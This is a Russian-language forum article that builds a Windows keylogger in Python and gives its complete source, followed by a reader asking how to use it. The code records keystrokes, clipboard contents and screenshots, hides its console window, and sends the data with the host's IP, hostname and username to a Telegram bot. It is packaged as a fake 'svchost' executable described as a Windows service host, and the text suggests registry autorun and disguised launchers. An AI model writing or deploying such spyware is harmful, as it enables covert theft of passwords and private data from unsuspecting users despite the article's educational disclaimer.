Статья Регистрируем пользовательскую активность под Windows или «Напиши мне кейлоггер»

Привет-привет!

Хочу рассказать об одном интересном опыте, триггером для получения которого стал мой товарищ, проходивший собеседование в одну структуру исполнительной власти одного государства. Чтобы ни у кого не возникло никаких ассоциаций с реальностью (так как, разумеется, история полностью выдуманная), назовем оное государство Фракцией Рептилоидов (ФР), а оную структуру Большой Статистической Флуктуацией (БСФ). Итак, приходит мой друг в здание, где расположилось БСФ ФР, просачивается через 100500 механизмов биометрической аутентификации (забыл сказать, структура занимается сверхсекретными делами государства и напрямую связана с безопасностью, поэтому охрана мероприятия на высшем уровне) и оказывается в оборудованной по последнему слову технике комнатке, в которой нет места отваливающемуся линолеуму и валяющимся-на-проходе огрызкам проводов, где в него с порога шарашат оригинальным предложением: «А вот если я тебе прямо сейчас дам ноутбук, напишешь мне кейлоггер?!».

ДИСКЛЕЙМЕР
Вся информация представлена исключительно в образовательных целях. Создание и распространение вредоносного ПО, равно как и неправомерное завладение компьютерной информацией преследуется по закону.

И тут начинается мой челлендж — поставив себя на место друга, я подумал, а сколько бы мне понадобилось времени, чтобы набросать простой перехватчик активности клавиатуры для Окон. Четкого обозначения задачи со стороны человека, правящего бал на собеседовании, не было, поэтому полагаю, что если бы товарищ предоставил максимально возможный по тривиальности кейлоггер (который просто пишет сочетания клавиш в локальный текстовый файл), формально это бы считалось успехом:
Python:
import pyHook, pythoncom, logging

def on_keyboard_event(event):
    with open('keyloggerlog.txt', 'a') as fp:
        fp.write(event.Key + ' ')
    return True

hook_manager = pyHook.HookManager()
hook_manager.KeyDown = on_keyboard_event
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
Теоретически его даже можно запустить интерактивно в IDLE.

Итак, максимально тривиальный кейлоггер на Пайтоне (на чем же еще, если от нас требуют работы на время, хех) требует:
  • 11 строк кода;
  • 2 сторонних модуля;
  • около 5-и минут на написание (со сторонних модулей, одного из которых, к слову, нет в , и осмыслением того, как работает то, что ты успел нагуглить).
Но это же неинтересно. Мы ведь можем лучше. Поэтому предлагаю рассмотреть немного модернизированную версию питоновского кейлоггера, который умеет: на лету выгружать перехват в Телеграм, следить за буфером обмена и делать скриншоты рабочего стола. Плюс, заморозим все это безобразие в standalone-экзешник, который можно таскать с собой на флешке. Не люблю подолгу расписывать, как была построена программа, поэтому просто постараюсь дать код секциями, комментариями подсказывая что к чему и почему. Let's R O C K!

1. Импорт
Сразу забегая вперед, скажу, что весь объем кода получился порядка , и это при том, что мы благородно следуем рекомендациям и пишем импорты на отдельных строках (⌒▽⌒)☆
Python:
import pyHook         # собственно, сам перехватчик
import pythoncom      # часть либы pywin32, организующая "видимость" нажатий для перехватчика
import pyperclip      # модуль для работы с буфером обмена
import requests       # можно было ограничиться дефолтным urllib и не тащить за собой еще одну зависимость, но отправлять картинку POST-запросом через urllib это БОЛЬ
import PIL.ImageGrab  # часть известного модуля PIL, для захвата экрана (скриншоты)
import win32event     # для предотвращения запуска нескольких инстансов скрипта
import win32api       # для предотвращения запуска нескольких инстансов скрипта
import winerror       # для предотвращения запуска нескольких инстансов скрипта
import win32console   # для скрытия окна консоли
import win32gui       # для скрытия окна консоли

import random         # для генерации случайного имени текстового файла, содержащего локальный лог кейлоггера
import socket         # для получения имени хоста
import sys            # для обработки аргументов, чтобы не тащить за собой argparse
import os             # для получения имени пользователя
import io             # для преобразования объекта типа <PIL.Image.Image> в битовый поток <_io.BytesIO>, нужно для POST'а через requests
from multiprocessing import Queue  # фиксим баг при заморозки модуля requests через cx_Freeze: если не указать явный импорт очереди явно, созданный бинарник его не найдет

2. Запрет запуска нескольких инстансов одновременно
Все понятно без лишних слов: если WinAPI говорит, что такой процесс уже есть — аварийно выходим через sys.exit():
Python:
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
    mutex = None
    sys.exit()

3. Скрытие окна консоли
Если появится необходимость запустить скрипт дважды щелкнув по исходнику, было бы здорово, чтобы пользователя не шокировало пугающе выпрыгивающее окно консоли. Для этого пропишем следующий код (опять же, WinAPI в помощь), а также в качестве расширения скрипта укажем не привычный .py, а .pyw, обращающийся не к python.exe, а к :
Python:
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)

4. Креды в хардкоде
Плохо так делать, но ничего другого не остается. Токен ТГ-бота и идентификатор диалога, куда слать эти ваши keypress'ы:
Python:
TGBOT_TOKEN   = '<TGBOT_TOKEN>'
TGBOT_CHAT_ID = '<TGBOT_CHAT_ID>'

5. Ядро
Здесь сосредоточено основное тело программы — объявление некоторых глобальных переменных; функции реагирования на нажатия, логирования перехваченных событий (локально и в телегу), создание скриншотов и работы с телеграмовским API:
Python:
EMOJI_IP_ADDRESS = '\U0001F4E4'
EMOJI_HOSTNAME   = '\U0001F5A5'
EMOJI_USERNAME   = '\U0001F464'

ASCII_UPPERCASE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
ASCII_LOWERCASE = 'abcdefghijklmnopqrstuvwxyz'

filename = ''.join(random.choices(ASCII_UPPERCASE + ASCII_LOWERCASE, k=8))
filepath = f'C:\\Windows\\Temp\\{filename}'
tg_mode, key_events = 0, 'START'
savepoint, clipboard_max_len = 1000, 100


def on_keyboard_event(event):
    global key_events

    try:
        key_events = f'{key_events} {event.Key}'
    except TypeError:
        pass

    log()

    return True


def log():
    global tg_mode, key_events, savepoint, clipboard_max_len

    if len(key_events) >= savepoint:
        with open(filepath, 'a') as fp:
            fp.write(key_events)

        if tg_mode:
            tgbot_send_message(key_events.strip(), content='Keyboard')
            clipboard = pyperclip.paste()
            if clipboard and clipboard.isprintable() and len(clipboard) <= clipboard_max_len:
                tgbot_send_message(clipboard.strip(), content='Clipboard')
            tgbot_send_photo(screenshot())

        key_events = ''


def screenshot():
    im = PIL.ImageGrab.grab()
    fp = io.BytesIO()
    im.save(fp, 'JPEG')
    fp.seek(0)
    return fp


def tgbot_send_message(message, content):
    try:
        ip = requests.get('http://httpbin.org/ip').json()
        ip = ip['origin'].split(',')[0]
        hostname = socket.gethostname()
        username = os.getlogin()
    except:
        ip, hostname, username = None, None, None

    message = f'''\
        {EMOJI_IP_ADDRESS} {ip}
        {EMOJI_HOSTNAME} {hostname}
        {EMOJI_USERNAME} {username}

        _{content}:_
        ```
        {message}
        ```\
    '''.replace('\t', '')

    params = {
        'chat_id': TGBOT_CHAT_ID,
        'parse_mode': 'Markdown',
        'text': message
    }

    requests.get(f'https://api.telegram.org/bot{TGBOT_TOKEN}/sendMessage', params=params)


def tgbot_send_photo(photo):
    params = {'chat_id': TGBOT_CHAT_ID}
    files = {'photo': photo}
    requests.post(f'https://api.telegram.org/bot{TGBOT_TOKEN}/sendPhoto', params=params, files=files)

6. Main
Ну и, собственно, гвоздь программы: обертка main'а, где крутится главный цикл pythoncom.PumpMessages():
Python:
def main():
    global tg_mode, savepoint, clipboard_max_len

    if len(sys.argv) >= 3:
        try:
            savepoint = int(sys.argv[1])
            clipboard_max_len = int(sys.argv[2])
        except ValueError:
            pass

    if 'tg' in sys.argv:
        tg_mode = 1

    hook_manager = pyHook.HookManager()
    hook_manager.KeyDown = on_keyboard_event
    hook_manager.HookKeyboard()
    pythoncom.PumpMessages()


if __name__ == '__main__':
    main()

7. Баннер
Ах да, какой же это кейлоггер без запоминающего названия:
Python:
'''
▄ •▄ ▪  ▄▄▌  ▄▄▌         ▄▄ •  ▄▄ • ▄▄▄ .▄▄▄
█▌▄▌▪██ ██•  ██•  ▪     ▐█ ▀ ▪▐█ ▀ ▪▀▄.▀·▀▄ █·
▐▀▀▄·▐█·██▪  ██▪   ▄█▀▄ ▄█ ▀█▄▄█ ▀█▄▐▀▀▪▄▐▀▀▄
▐█.█▌▐█▌▐█▌▐▌▐█▌▐▌▐█▌.▐▌▐█▄▪▐█▐█▄▪▐█▐█▄▄▌▐█•█▌
·▀  ▀▀▀▀.▀▀▀ .▀▀▀  ▀█▄▀▪·▀▀▀▀ ·▀▀▀▀  ▀▀▀ .▀  ▀

by Sam Freeside (@snovvcrash)
'''


Таким образом, кейлоггер имеет вид python KiLLogger.py [SAVEPOINT] [CLIPBOARD_MAX_LEN] [tg], где
  • SAVEPOINTцелое число; длина строки, при достижении которой будет триггериться выгрузка логов, значение по умолчанию 1000 (хочу обратить внимание — именно длина строки, а не количество перехваченных клавиш, потому что одна клавиша Lcontrol, к примеру, уже имеет длину 8 символов);
  • CLIPBOARD_MAX_LENцелое число; максимальный объем буфера обмена, который будет отправляться в Телеграм, значение по умолчанию 100 (нас же интересует только "чувствительные" данные, по типу авторизационных, которые редко бывают очень длинными, а лишний раз замусоривать перехват тоже не айс);
  • tgфлаг; собственно, нужно ли отправлять все это безобразие в Телеграм, или же просто ограничиться локальным хранилищем.
Все бы, казалось, хорошо, но посмотрим на количество зависимостей:
Код:
pyHook
pywin32
pyperclip
requests
pillow
(полный requirements.txt в конце).

Не очень удобно каждый раз на машине предполагаемой жертвы ставить virtualenv, а потом резолвить этот список, поэтому было бы очень круто иметь возможность "заморозить" исполняемый файл с уже готовым окружением. Но в этом деле предстоит столкнуться с некоторыми трудностями, о которых вкратце ниже.

cx_Freeze
Для последней задачи я всегда пользовался кроссплатформенным модулем под названием cx_Freeze. Он предполагает наличие инструкций сборки в виде отдельного файла setup.py (что-то типа C'ишного Makefile'а). Выглядит он следующим образом:
Python:
import distutils
import opcode
import os
import sys
from cx_Freeze import setup, Executable

distutils_path = os.path.join(os.path.dirname(opcode.__file__), 'distutils')

build_exe_options = {
    'packages': ['os'],
    'excludes': ['tkinter', 'distutils'],
    'includes': ['idna.idnadata'],
    'include_files': ['cpyHook.py', (distutils_path, 'lib/distutils')],
    'optimize': 1
}

base = None
if sys.platform == 'win32':
    base = 'Win32GUI'

setup(
    name = 'svchost',
    version = '0.1',
    description = 'Host Process for Windows Services',
    options = {'build_exe': build_exe_options},
    executables = [Executable('svchost.pyw', base=base)]
)

Какие здесь особенности:
  • Самое странное, что бросается в глаза: скрипт я назвал svchost.pyw для усыпления внимания пользователя (первое, что пришло в голову). Конечно, внимательный юзер, увидев бегущий процесс svchost'а из директории C:\Windows\Temp, сразу заподозрит неладное, но у нас же учебный случай, верно ╮(︶︿︶)╭
  • Проблема взаимодействия cx_Freeze, distutils и виртуальной среды, вытекающая в НЕвключение в конечную сборку некоторых модулей. distutils не копирует часть своих компонент при работе из-под virtualenv, а ограничивается только указанием способа "вытаскивания" последних в динамическом режиме уже при работе программы. И здесь начинает жаловаться cx_Freeze, который не может найти путь для distutils при статическом анализе кода. Лечится это ручным исключением distutils из сборки с последующим указанием конкретного месторасположения этого модуля. Подробнее .
  • Проблема копирования cpyHook.py в конечную сборку. Здесь совсем тривиально — просто копируем нужный файл ручками в build/.../lib/pyHook.
Вот собственно и вся премудрость. Теперь можно настроить автозапуск кейлоггера при загрузки системы, пошаманив с реестром, создать красивый батник, чтобы инициализация скрипта проводилась "прозрачно" для пользователя путем подмены пути запуска какой-нибудь привычной приложухи и такое всякое разное... Разумеется, говорить, что на написанный код будет жаловаться антивир и файрвол (при наличии последнего) лишнее — правила игры мы все знаем.

Итак, что мы имеем здесь:
  • 100 строк кода;
  • 5 сторонних модулей;
  • около 3-х часов на написание (с вспоминанием, как работает ТГ-API и решением траблов с setup.py);
  • я опять протратил целый день черт знает на что вместо того, чтобы писать курсач.
Файлы целиком:
Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Usage: python3 KiLLogger.py [SAVEPOINT] [CLIPBOARD_MAX_LEN] [tg]

"""LEGAL DISCLAIMER

KiLLogger was written for use in educational purposes only. Using this tool
for stealing sensitive data without prior mutual consistency can be considered
as an illegal activity. It is the final user's responsibility to obey all
applicable local, state and federal laws.

The author assume no liability and is not responsible for any misuse or
damage caused by this tool.
"""

'''
▄ •▄ ▪  ▄▄▌  ▄▄▌         ▄▄ •  ▄▄ • ▄▄▄ .▄▄▄
█▌▄▌▪██ ██•  ██•  ▪     ▐█ ▀ ▪▐█ ▀ ▪▀▄.▀·▀▄ █·
▐▀▀▄·▐█·██▪  ██▪   ▄█▀▄ ▄█ ▀█▄▄█ ▀█▄▐▀▀▪▄▐▀▀▄
▐█.█▌▐█▌▐█▌▐▌▐█▌▐▌▐█▌.▐▌▐█▄▪▐█▐█▄▪▐█▐█▄▄▌▐█•█▌
·▀  ▀▀▀▀.▀▀▀ .▀▀▀  ▀█▄▀▪·▀▀▀▀ ·▀▀▀▀  ▀▀▀ .▀  ▀

by Sam Freeside (@snovvcrash)
'''

import pyHook
import pythoncom
import pyperclip
import requests
import PIL.ImageGrab
import win32event
import win32api
import winerror
import win32console
import win32gui

import random
import socket
import sys
import os
import io
from multiprocessing import Queue

# Prevent multiple instances
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
    mutex = None
    sys.exit()

# Hide console
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)

# ------------------------- Creds --------------------------

TGBOT_TOKEN   = '<TGBOT_TOKEN>'
TGBOT_CHAT_ID = '<TGBOT_CHAT_ID>'

# ----------------------------------------------------------

EMOJI_IP_ADDRESS = '\U0001F4E4'
EMOJI_HOSTNAME   = '\U0001F5A5'
EMOJI_USERNAME   = '\U0001F464'

ASCII_UPPERCASE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
ASCII_LOWERCASE = 'abcdefghijklmnopqrstuvwxyz'

filename = ''.join(random.choices(ASCII_UPPERCASE + ASCII_LOWERCASE, k=8))
filepath = f'C:\\Windows\\Temp\\{filename}'
tg_mode, key_events = 0, 'START'
savepoint, clipboard_max_len = 1000, 100


def on_keyboard_event(event):
    global key_events

    try:
        key_events = f'{key_events} {event.Key}'
    except TypeError:
        pass

    log()

    return True


def log():
    global tg_mode, key_events, savepoint, clipboard_max_len

    if len(key_events) >= savepoint:
        with open(filepath, 'a') as fp:
            fp.write(key_events)

        if tg_mode:
            tgbot_send_message(key_events.strip(), content='Keyboard')
            clipboard = pyperclip.paste()
            if clipboard and clipboard.isprintable() and len(clipboard) <= clipboard_max_len:
                tgbot_send_message(clipboard.strip(), content='Clipboard')
            tgbot_send_photo(screenshot())

        key_events = ''


def screenshot():
    im = PIL.ImageGrab.grab()
    fp = io.BytesIO()
    im.save(fp, 'JPEG')
    fp.seek(0)
    return fp


def tgbot_send_message(message, content):
    try:
        ip = requests.get('http://httpbin.org/ip').json()
        ip = ip['origin'].split(',')[0]
        hostname = socket.gethostname()
        username = os.getlogin()
    except:
        ip, hostname, username = None, None, None

    message = f'''\
        {EMOJI_IP_ADDRESS} {ip}
        {EMOJI_HOSTNAME} {hostname}
        {EMOJI_USERNAME} {username}

        _{content}:_
        ```
        {message}
        ```\
    '''.replace('\t', '')

    params = {
        'chat_id': TGBOT_CHAT_ID,
        'parse_mode': 'Markdown',
        'text': message
    }

    requests.get(f'https://api.telegram.org/bot{TGBOT_TOKEN}/sendMessage', params=params)


def tgbot_send_photo(photo):
    params = {'chat_id': TGBOT_CHAT_ID}
    files = {'photo': photo}
    requests.post(f'https://api.telegram.org/bot{TGBOT_TOKEN}/sendPhoto', params=params, files=files)


def main():
    global tg_mode, savepoint, clipboard_max_len

    if len(sys.argv) >= 3:
        try:
            savepoint = int(sys.argv[1])
            clipboard_max_len = int(sys.argv[2])
        except ValueError:
            pass

    if 'tg' in sys.argv:
        tg_mode = 1

    hook_manager = pyHook.HookManager()
    hook_manager.KeyDown = on_keyboard_event
    hook_manager.HookKeyboard()
    pythoncom.PumpMessages()


if __name__ == '__main__':
    main()
Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import distutils
import opcode
import os
import sys
from cx_Freeze import setup, Executable

distutils_path = os.path.join(os.path.dirname(opcode.__file__), 'distutils')

build_exe_options = {
    'packages': ['os'],
    'excludes': ['tkinter', 'distutils'],
    'includes': ['idna.idnadata'],
    'include_files': ['cpyHook.py', (distutils_path, 'lib/distutils')],
    'optimize': 1
}

base = None
if sys.platform == 'win32':
    base = 'Win32GUI'

setup(
    name = 'svchost',
    version = '0.1',
    description = 'Host Process for Windows Services',
    options = {'build_exe': build_exe_options},
    executables = [Executable('svchost.pyw', base=base)]
)
certifi==2018.11.29
chardet==3.0.4
cx-Freeze==5.1.1
idna==2.8
Pillow==5.4.1
pyHook==1.5.1
pyperclip==1.7.0
pywin32==224
requests==2.21.0
urllib3==1.24.1
27234


Спасибо за внимание :3
 
Последнее редактирование:
27.12.2019
3
1
BIT
0
А можно немного подробней для немного туповатых? Как работают файлы +- понятно, как настроить всё на пк тоже, но вот с полученными 3 файлами что делать, а конкретно - requirements. Setup устанавливает прогу, Killogger - тело программы, а вот про зависимости я не понял. Это просто список использованных, или их нужно будет докачивать и как-то подключать?
 
  • Нравится
Реакции: Simple9023
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!